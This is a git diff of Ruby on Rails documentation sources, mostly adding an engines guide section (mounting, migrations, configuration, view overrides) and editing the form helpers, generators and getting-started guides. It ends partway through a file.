+gem 'blorgh', :path => "/path/to/blorgh"
+</ruby>
+
+If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this:
+
+<ruby>
+gem 'blorgh', :path => "vendor/engines/blorgh"
+</ruby>
+
+As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine.
+
+To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file:
+
+<ruby>
+mount Blorgh::Engine, :at => "blog"
+</ruby>
+
+This line will mount the engine at +blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails s+.
+
+NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+
+h4. Engine setup
+
+The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+
+<shell>
+$ rake blorgh:install:migrations
+</shell>
+
+This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+
+<shell>
+Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
+</shell>
+
+The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+
+To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+
+h4. Using a class provided by the application
+
+When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense.
+
+Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called.
+
+To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command:
+
+<shell>
+rails g model user name:string
+</shell>
+
+The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use.
+
+Also to keep it simple, the posts form will have a new text field called +author_name_+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it.
+
+First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code:
+
+<erb>
+<div class="field">
+ <%= f.label :author_name %><br />
+ <%= f.text_field :author_name %>
+</div>
+</erb>
+
+The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it.
+
+To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being.
+
+<ruby>
+attr_accessor :author_name
+belongs_to :author, :class_name => "User"
+
+before_save :set_author
+
+private
+ def set_author
+ self.author = User.find_or_create_by_name(author_name)
+ end
+</ruby>
+
+By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table.
+
+To generate this new column, run this command within the engine:
+
+<shell>
+$ rails g migration add_author_id_to_blorgh_posts author_id:integer
+</shell>
+
+NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+
+This migration will need to be run on the application. To do that, it must first be copied using this command:
+
+<shell>
+$ rake blorgh:install:migrations
+</shell>
+
+Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+
+<shell>
+ NOTE: Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
+ NOTE: Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
+ Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+</shell>
+
+Run this migration using this command:
+
+<shell>
+$ rake db:migrate
+</shell>
+
+Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine.
+
+Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+:
+
+<erb>
+<p>
+ <b>Author:</b>
+ <%= @post.author %>
+</p>
+</erb>
+
+WARNING: For posts created previously, this will break the +show+ page for them. We recommend deleting these posts and starting again, or manually assigning an author using +rails c+.
+
+By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly:
+
+<text>
+#<User:0x00000100ccb3b0>
+</text>
+
+This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application:
+
+<ruby>
+def to_s
+ name
+end
+</ruby>
+
+Now instead of the ugly Ruby object output the author's name will be displayed.
+
+h4. Configuring an engine
+
+This section covers firstly how you can make the +user_class+ setting of the Blorgh engine configurable, followed by general configuration tips for the engine.
+
+h5. Setting configuration settings in the application
+
+The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application.
+
+To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line:
+
+<ruby>
+mattr_accessor :user_class
+</ruby>
+
+This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+.
+
+The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this:
+
+<ruby>
+belongs_to :author, :class_name => Blorgh.user_class
+</ruby>
+
+The +set_author+ method also located in this class should also use this class:
+
+<ruby>
+self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name)
+</ruby>
+
+To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and makes references to the classes of the engine which may depend on this configuration setting existing.
+
+Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it:
+
+<ruby>
+Blorgh.user_class = "User"
+</ruby>
+
+WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on.
+
+Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is.
+
+There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created.
+
+h5. General engine configuration
+
+Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+
+If you wish to use initializers (code that should run before the engine is loaded), the best place for them is the +config/initializers+ folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide.
+
+For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application.
+
+h3. Extending engine functionality
+
+This section looks at overriding or adding functionality to the views, controllers and models provided by an engine.
+
+h4. Overriding views
+
+When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory.
+
+In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine.
+
+By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output.
+
+Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it:
+
+<erb>
+<h1>Posts</h1>
+<%= link_to "New Post", new_post_path %>
+<% @posts.each do |post| %>
+ <h2><%= post.title %></h2>
+ <small>By <%= post.author %></small>
+ <%= simple_format(post.text) %>
+ <hr>
+<% end %>
+</erb>
+
+Rather than looking like the default scaffold, the page will now look like this:
+
+!images/engines_post_override.png(Engine scaffold overriden)!
+
+h4. Controllers
+
+TODO: Explain how to extend a controller.
+IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide?
+
+h4. Models
+
+TODO: Explain how to extend models provided by an engine.
+
+h4. Routes
+
+Within the application, you may wish to link to some area within the engine. Due to the fact that the engine's routes are isolated (by the +isolate_namespace+ call within the +lib/blorgh/engine.rb+ file), you will need to prefix these routes with the engine name. This means rather than having something such as:
+
+<erb>
+<%= link_to "Blog posts", posts_path %>
+</erb>
+
+It needs to be written as:
+
+<erb>
+<%= link_to "Blog posts", blorgh.posts_path %>
+</erb>
+
+This allows for the engine _and_ the application to both have a +posts_path+ routing helper and to not interfere with each other. You may also reference another engine's routes from inside an engine using this same syntax.
+
+If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper:
+
+<erb>
+<%= link_to "Home", main_app.root_path %>
+</erb>
+
+TODO: Mention how to use assets within an engine?
+TODO: Mention how to depend on external gems, like RedCarpet.
diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile
index bf2a7369a7..64eb2d8f36 100644
--- a/railties/guides/source/form_helpers.textile
+++ b/railties/guides/source/form_helpers.textile
@@ -229,7 +229,7 @@ The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks
There are a few things to note here:
# +@article+ is the actual object being edited.
-# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash.
+# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. Also you can provide a +:namespace+ option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
# The +form_for+ method yields a *form builder* object (the +f+ variable).
# Methods to create form controls are called *on* the form builder object +f+
@@ -342,7 +342,6 @@ output:
When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example).
-
h3. Making Select Boxes with Ease
Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
@@ -797,13 +796,3 @@ Many apps grow beyond simple forms editing a single object. For example when cre
* Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application
* Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy
* James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin
-
-h3. Changelog
-
-* February 5, 2011: Added 'Forms to external resources' section. Timothy N. Tsvetkov <timothy.tsvetkov@gmail.com>
-* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-
-h3. Authors
-
-* Mislav Marohnić <mislav.marohnic@gmail.com>
-* "Frederick Cheung":credits.html#fcheung
diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile
index 2fa1d6e21d..7a863ccbc7 100644
--- a/railties/guides/source/generators.textile
+++ b/railties/guides/source/generators.textile
@@ -449,6 +449,15 @@ The above code will put the following line into +Gemfile+:
gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master"
</ruby>
+h4. +gem_group+
+
+Wraps gem entries inside a group:
+
+<ruby>
+gem_group :development, :test do
+ gem "rspec-rails"
+end
+</ruby>
h4. +add_source+
@@ -610,14 +619,3 @@ Output the contents of a file in the template's +source_path+, usually a README.
<ruby>
readme("README")
</ruby>
-
-h3. Changelog
-
-* December 1, 2010: Documenting the available methods and options for generators and templates by "Ryan Bigg":http://ryanbigg.com
-* December 1, 2010: Addition of Rails application templates by "Ryan Bigg":http://ryanbigg.com
-
-* August 23, 2010: Edit pass by "Xavier Noria":credits.html#fxn
-
-* April 30, 2010: Reviewed by José Valim
-
-* November 20, 2009: First version by José Valim
diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile
index 0b89021392..fe43c9db36 100644
--- a/railties/guides/source/getting_started.textile
+++ b/railties/guides/source/getting_started.textile
@@ -41,8 +41,15 @@ internet for learning Ruby, including:
* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
+Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository
+in rails/railties/guides/code/getting_started.
+
h3. What is Rails?
+TIP: This section goes into the background and philosophy of the Rails framework
+in detail. You can safely skip this section and come back to it at a later time.
+Section 3 starts you on the path to creating your first Rails application.
+
Rails is a web application development framework written in the Ruby language.
It is designed to make programming web applications easier by making assumptions
about what every developer needs to get started. It allows you to write less
@@ -61,9 +68,9 @@ The Rails philosophy includes several guiding principles:
* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
-d o it, rather than requiring you to specify every little thing through endless configuration files.
+do it, rather than requiring you to specify every little thing through endless configuration files.
* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs
-i s the fastest way to go.
+is the fastest way to go.
h4. The MVC Architecture
@@ -116,7 +123,6 @@ need to know anything about them to continue with this guide.
* Active Support
* Railties
-
h5. Action Pack
Action Pack is a single gem that contains Action Controller, Action View and
@@ -197,9 +203,10 @@ For example, the following HTTP request:
<tt>DELETE /photos/17</tt>
-refers to a photo resource with an ID of 17 and indicates an action to be taken
-upon it: deletion. REST is a natural web application architecture which Rails
-abstracts, shielding you from RESTful complexities and browser quirks.
+would be understood to refer to a photo resource with the ID of 17, and to
+indicate a desired action - deleting that resource. REST is a natural style for
+the architecture of web applications, and Rails hooks into this shielding you
+from many of the RESTful complexities and browser quirks.
If you'd like more details on REST as an architectural style, these resources
are more approachable than Fielding's thesis:
@@ -212,7 +219,11 @@ Ian Robinson
h3. Creating a New Rails Project
-If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a
+The best way to use this guide is to follow each step as it happens, no code or
+step needed to make this example application has been left out, so you can
+literally follow along step by step. You can get the complete code "here":https://github.com/lifo/docrails/tree/master/railties/guides/code/getting_started.
+
+By following along with this guide, you'll create a Rails project called <tt>blog</tt>, a
(very) simple weblog. Before you can start building the application, you need to
make sure that you have Rails itself installed.
@@ -230,13 +241,16 @@ Usually run this as the root user:
TIP. If you're working on Windows, you can quickly install Ruby and Rails with
"Rails Installer":http://railsinstaller.org.
-h4. Creating the Blog Application
+To verify that you have everything installed correctly, you should be able to run
+the following:
-The best way to use this guide is to follow each step as it happens, no code or
-step needed to make this example application has been left out, so you can
-literally follow along step by step. If you need to see the completed code, you
-can download it from "Getting Started
-Code":https://github.com/mikel/getting-started-code.
+<shell>
+$ rails --version
+</shell>
+
+If it says something like "Rails 3.1.3" you are ready to continue.
+
+h4. Creating the Blog Application
To begin, open a terminal, navigate to a folder where you have rights to create
files, and type:
@@ -258,41 +272,50 @@ directly in that application:
$ cd blog
</shell>
-In any case, Rails will create a folder in your working directory called
-<tt>blog</tt>. Open up that folder and explore its contents. Most of the work in
+The 'rails new blog' command we ran above created a folder in your working directory
+called <tt>blog</tt>. The <tt>blog</tt> folder has a number of auto-generated folders
+that make up the structure of a Rails application. Most of the work in
this tutorial will happen in the <tt>app/</tt> folder, but here's a basic
-rundown on the function of each folder that Rails creates in a new application
-by default:
+rundown on the function of each of the files and folders that Rails created by default:
|_.File/Folder|_.Purpose|
-|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application. See section on Bundler, below.|
-|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
-|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
|app/|Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.|
-|config/|Configure your application's runtime rules, routes, database, and more.|
+|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in "Configuring Rails Applications":configuring.html|
|config.ru|Rack configuration for Rack based servers used to start the application.|
-|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.|
+|db/|Contains your current database schema, as well as the database migrations.|
|doc/|In-depth documentation for your application.|
-|lib/|Extended modules for your application (not covered in this guide).|
+|Gemfile<BR />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application.|
+|lib/|Extended modules for your application.|
|log/|Application log files.|
|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
+|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
+|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
|script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
|tmp/|Temporary files|
-|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.|
+|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you optionally install it into your project) and plugins containing additional prepackaged functionality.|
h4. Configuring a Database
Just about every Rails application will interact with a database. The database
to use is specified in a configuration file, +config/database.yml+. If you open
this file in a new Rails application, you'll see a default database
-configuration using SQLite3. The file contains sections for three different
+configured to use SQLite3. The file contains sections for three different
environments in which Rails can run by default:
-* The +development+ environment is used on your development computer as you interact manually with the application.
-* The +test+ environment is used to run automated tests.
+* The +development+ environment is used on your development/local computer as you interact
+manually with the application.
+* The +test+ environment is used when running automated tests.
* The +production+ environment is used when you deploy your application for the world to use.
+TIP: You don't have to update the database configurations manually. If you look at the
+options of the application generator, you will see that one of the options
+is named <tt>--database</tt>. This option allows you to choose an adapter from a
+list of the most used relational databases. You can even run the generator
+repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting
+ of the +config/database.yml+ file, your application will be configured for MySQL
+instead of SQLite. Detailed examples of the common database connections are below.
+
h5. Configuring an SQLite3 Database
Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is
@@ -357,7 +380,7 @@ development:
h5. Configuring an SQLite3 Database for JRuby Platform
-If you choose to use SQLite3 and using JRuby, your +config/database.yml+ will
+If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will
look a little different. Here's the development section:
<yaml>
@@ -368,7 +391,7 @@ development:
h5. Configuring a MySQL Database for JRuby Platform
-If you choose to use MySQL and using JRuby, your +config/database.yml+ will look
+If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look
a little different. Here's the development section:
<yaml>
@@ -381,7 +404,7 @@ development:
h5. Configuring a PostgreSQL Database for JRuby Platform
-Finally if you choose to use PostgreSQL and using JRuby, your
+Finally if you choose to use PostgreSQL and are using JRuby, your
+config/database.yml+ will look a little different. Here's the development
section:
@@ -396,14 +419,6 @@ development:
Change the username and password in the +development+ section as appropriate.
-TIP: You don't have to update the database configurations manually. If you look at the
-options of the application generator, you will see that one of the options
-is named <tt>--database</tt>. This option allows you to choose an adapter from a
-list of the most used relational databases. You can even run the generator
-repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting
- of the +config/database.yml+ file, your application will be configured for MySQL
-instead of SQLite.
-
h4. Creating the Database
Now that you have your database configured, it's time to have Rails create an
@@ -435,6 +450,8 @@ start a web server on your development machine. You can do this by running:
$ rails server
</shell>
+TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an +execjs+ error. Usually Mac OS X and Windows come with a JavaScript runtime installed. +therubyracer+ and +therubyrhino+ are the commonly used runtimes for Ruby and JRuby respectively. You can also investigate a list of runtimes at "ExecJS":https://github.com/sstephenson/execjs.
+
This will fire up an instance of the WEBrick web server by default (Rails can
also use several other web servers). To see your application in action, open a
browser window and navigate to "http://localhost:3000":http://localhost:3000.
@@ -477,7 +494,7 @@ Open this file in your text editor and edit it to contain a single line of code:
h4. Setting the Application Home Page
Now that we have made the controller and view, we need to tell Rails when we
-want "Hello Rails" to show up. In our case, we want it to show up when we
+want "Hello Rails!" to show up. In our case, we want it to show up when we
navigate to the root URL of our site,
"http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard"
smoke test.
@@ -498,8 +515,7 @@ file_ which holds entries in a special DSL (domain-specific language) that tells
Rails how to connect incoming requests to controllers and actions. This file
contains many sample routes on commented lines, and one of them actually shows
you how to connect the root of your site to a specific controller and action.
-Find the line beginning with +root :to+, uncomment it and change it like the
-following:
+Find the line beginning with +root :to+ and uncomment it. It should look something like the following:
<ruby>
Blog::Application.routes.draw do
@@ -527,7 +543,7 @@ resource in a single operation, scaffolding is the tool for the job.
h3. Creating a Resource
-In the case of the blog application, you can start by generating a scaffolded
+In the case of the blog application, you can start by generating a scaffold for the
Post resource: this will represent a single blog posting. To do this, enter this
command in your terminal:
@@ -535,40 +551,36 @@ command in your terminal:
$ rails generate scaffold Post name:string title:string content:text
</shell>
-This will create a new database table called posts (plural of Post). The table
-will have three columns, name (type string), title (type string) and content
-(type text). It will also hook this new database up to Rails (details below).
-
-NOTE. While scaffolding will get you up and running quickly, the code it
-generates is unlikely to be a perfect fit for your application. You'll most
-probably want to customize the generated code. Many experienced Rails developers
-avoid scaffolding entirely, preferring to write all or most of their source code
-from scratch. Rails, however, makes it really simple to customize templates for
-generated models, controllers, views and other source files. You'll find more
-information in the "Creating and Customizing Rails Generators &
-Templates":generators.html guide.
-
-The scaffold generator will build 17 files in your application, along with some
-folders, and edit one more. Here's a quick overview of what it creates:
+The scaffold generator will build several files in your application, along with some
+folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it creates:
|_.File |_.Purpose|
|db/migrate/20100207214725_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)|
|app/models/post.rb |The Post model|
-|test/fixtures/posts.yml |Dummy posts for use in testing|
+|test/unit/post_test.rb |Unit testing harness for the posts model|
+|test/fixtures/posts.yml |Sample posts for use in testing|
+|config/routes.rb |Edited to include routing information for posts|
|app/controllers/posts_controller.rb |The Posts controller|
|app/views/posts/index.html.erb |A view to display an index of all posts |
|app/views/posts/edit.html.erb |A view to edit an existing post|
|app/views/posts/show.html.erb |A view to display a single post|
|app/views/posts/new.html.erb |A view to create a new post|
|app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views|
-|app/helpers/posts_helper.rb |Helper functions to be used from the post views|
-|app/assets/stylesheets/scaffold.css.scss |Cascading style sheet to make the scaffolded views look better|
-|app/assets/stylesheets/post.css.scss |Cascading style sheet for the posts controller|
-|app/assets/javascripts/post.js.coffee |CoffeeScript for the posts controller|
-|test/unit/post_test.rb |Unit testing harness for the posts model|
|test/functional/posts_controller_test.rb |Functional testing harness for the posts controller|
+|app/helpers/posts_helper.rb |Helper functions to be used from the post views|
|test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper|
-|config/routes.rb |Edited to include routing information for posts|
+|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller|
+|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller|
+|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better|
+
+NOTE. While scaffolding will get you up and running quickly, the code it
+generates is unlikely to be a perfect fit for your application. You'll most
+probably want to customize the generated code. Many experienced Rails developers
+avoid scaffolding entirely, preferring to write all or most of their source code
+from scratch. Rails, however, makes it really simple to customize templates for
+generated models, controllers, views and other source files. You'll find more
+information in the "Creating and Customizing Rails Generators &
+Templates":generators.html guide.
h4. Running a Migration
@@ -596,12 +608,12 @@ class CreatePosts < ActiveRecord::Migration
end
</ruby>
-The above migration creates a method name +change+ which will be called when you
-run this migration. The action defined in that method is also reversible, which
+The above migration creates a method named +change+ which will be called when you
+run this migration. The action defined in this method is also reversible, which
means Rails knows how to reverse the change made by this migration, in case you
-want to reverse it at later date. By default, when you run this migration it
-will creates a +posts+ table with two string columns and a text column. It also
-creates two timestamp fields to track record creation and updating. More
+want to reverse it later. When you run this migration it will create a
++posts+ table with two string columns and a text column. It also creates two
+timestamp fields to allow Rails to track post creation and update times. More
information about Rails migrations can be found in the "Rails Database
Migrations":migrations.html guide.
@@ -623,7 +635,7 @@ table.
NOTE. Because you're working in the development environment by default, this
command will apply to the database defined in the +development+ section of your
-+config/database.yml+ file. If you would like to execute migrations in other
++config/database.yml+ file. If you would like to execute migrations in another
environment, for instance in production, you must explicitly pass it when
invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>.
@@ -692,7 +704,8 @@ end
These changes will ensure that all posts have a name and a title, and that the
title is at least five characters long. Rails can validate a variety of
conditions in a model, including the presence or uniqueness of columns, their
-format, and the existence of associated objects.
+format, and the existence of associated objects. Validations are covered in detail
+in "Active Record Validations and Callbacks":active_record_validations_callbacks.html#validations-overview
h4. Using the Console
@@ -705,8 +718,8 @@ $ rails console
</shell>
TIP: The default console will make changes to your database. You can instead
-open a console that will roll back any changes you make by using +rails console
---sandbox+.
+open a console that will roll back any changes you make by using <tt>rails console
+--sandbox</tt>.
After the console loads, you can use it to work with your application's models:
@@ -717,10 +730,8 @@ After the console loads, you can use it to work with your application's models:
updated_at: nil>
>> p.save
=> false
->> p.errors
-=> #<OrderedHash { :title=>["can't be blank",
- "is too short (minimum is 5 characters)"],
- :name=>["can't be blank"] }>
+>> p.errors.full_messages
+=> ["Name can't be blank", "Title can't be blank", "Title is too short (minimum is 5 characters)"]
</shell>
This code shows creating a new +Post+ instance, attempting to save it and
@@ -730,13 +741,14 @@ inspecting the +errors+ of the post.
When you're finished, type +exit+ and hit +return+ to exit the console.
TIP: Unlike the development web server, the console does not automatically load
-your code afresh for each line. If you make changes to your models while the
-console is open, type +reload!+ at the console prompt to load them.
+your code afresh for each line. If you make changes to your models (in your editor)
+while the console is open, type +reload!+ at the console prompt to load them.
h4. Listing All Posts
-The easiest place to start looking at functionality is with the code that lists
-all posts. Open the file +app/controllers/posts_controller.rb+ and look at the
+Let's dive into the Rails code a little deeper to see how the application is
+showing us the list of Posts. Open the file
++app/controllers/posts_controller.rb+ and look at the
+index+ action:
<ruby>
@@ -750,9 +762,8 @@ def index
end
</ruby>
-+Post.all+ calls the +Post+ model to return all of the posts currently in the
-database. The result of this call is an array of posts that we store in an
-instance variable called +@posts+.
++Post.all+ returns all of the posts currently in the database as an array
+of +Post+ records that we store in an instance variable called +@posts+.
TIP: For more information on finding records with Active Record, see "Active
Record Query Interface":active_record_querying.html.
@@ -784,7 +795,8 @@ Here's +app/views/posts/index.html.erb+:
<td><%= post.content %></td>
<td><%= link_to 'Show', post %></td>
<td><%= link_to 'Edit', edit_post_path(post) %></td>
- <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td>
+ <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?',
+ :method => :delete %></td>
</tr>
<% end %>
</table>
@@ -802,7 +814,7 @@ and links. A few things to note in the view:
NOTE. In previous versions of Rails, you had to use +&lt;%=h post.name %&gt;+ so
that any HTML would be escaped before being inserted into the page. In Rails
-3.0, this is now the default. To get unescaped HTML, you now use +&lt;%= raw
+3.0+, this is now the default. To get unescaped HTML, you now use +&lt;%= raw
post.name %&gt;+.
TIP: For more details on the rendering process, see "Layouts and Rendering in
@@ -816,17 +828,18 @@ Rails renders a view to the browser, it does so by putting the view's HTML into
a layout's HTML. In previous versions of Rails, the +rails generate scaffold+
command would automatically create a controller specific layout, like
+app/views/layouts/posts.html.erb+, for the posts controller. However this has
-been changed in Rails 3.0. An application specific +layout+ is used for all the
+been changed in Rails 3.0+. An application specific +layout+ is used for all the
controllers and can be found in +app/views/layouts/application.html.erb+. Open
-this layout in your editor and modify the +body+ tag:
+this layout in your editor and modify the +body+ tag to include the style directive
+below:
<erb>
<!DOCTYPE html>
<html>
<head>
<title>Blog</title>
- <%= stylesheet_link_tag :all %>
- <%= javascript_include_tag :defaults %>
+ <%= stylesheet_link_tag "application" %>
+ <%= javascript_include_tag "application" %>
<%= csrf_meta_tags %>
</head>
<body style="background: #EEEEEE;">
@@ -868,10 +881,10 @@ The +new.html.erb+ view displays this empty Post to the user:
The +&lt;%= render 'form' %&gt;+ line is our first introduction to _partials_ in
Rails. A partial is a snippet of HTML and Ruby code that can be reused in
-multiple locations. In this case, the form used to make a new post, is basically
-identical to a form used to edit a post, both have text fields for the name and
-title and a text area for the content with a button to make a new post or update
-the existing post.
+multiple locations. In this case, the form used to make a new post is basically
+identical to the form used to edit a post, both having text fields for the name and
+title, a text area for the content, and a button to create the new post or to update
+the existing one.
If you take a look at +views/posts/_form.html.erb+ file, you will see the
following:
@@ -880,7 +893,8 @@ following:
<%= form_for(@post) do |f| %>
<% if @post.errors.any? %>
<div id="errorExplanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+ this post from being saved:</h2>
<ul>
<% @post.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
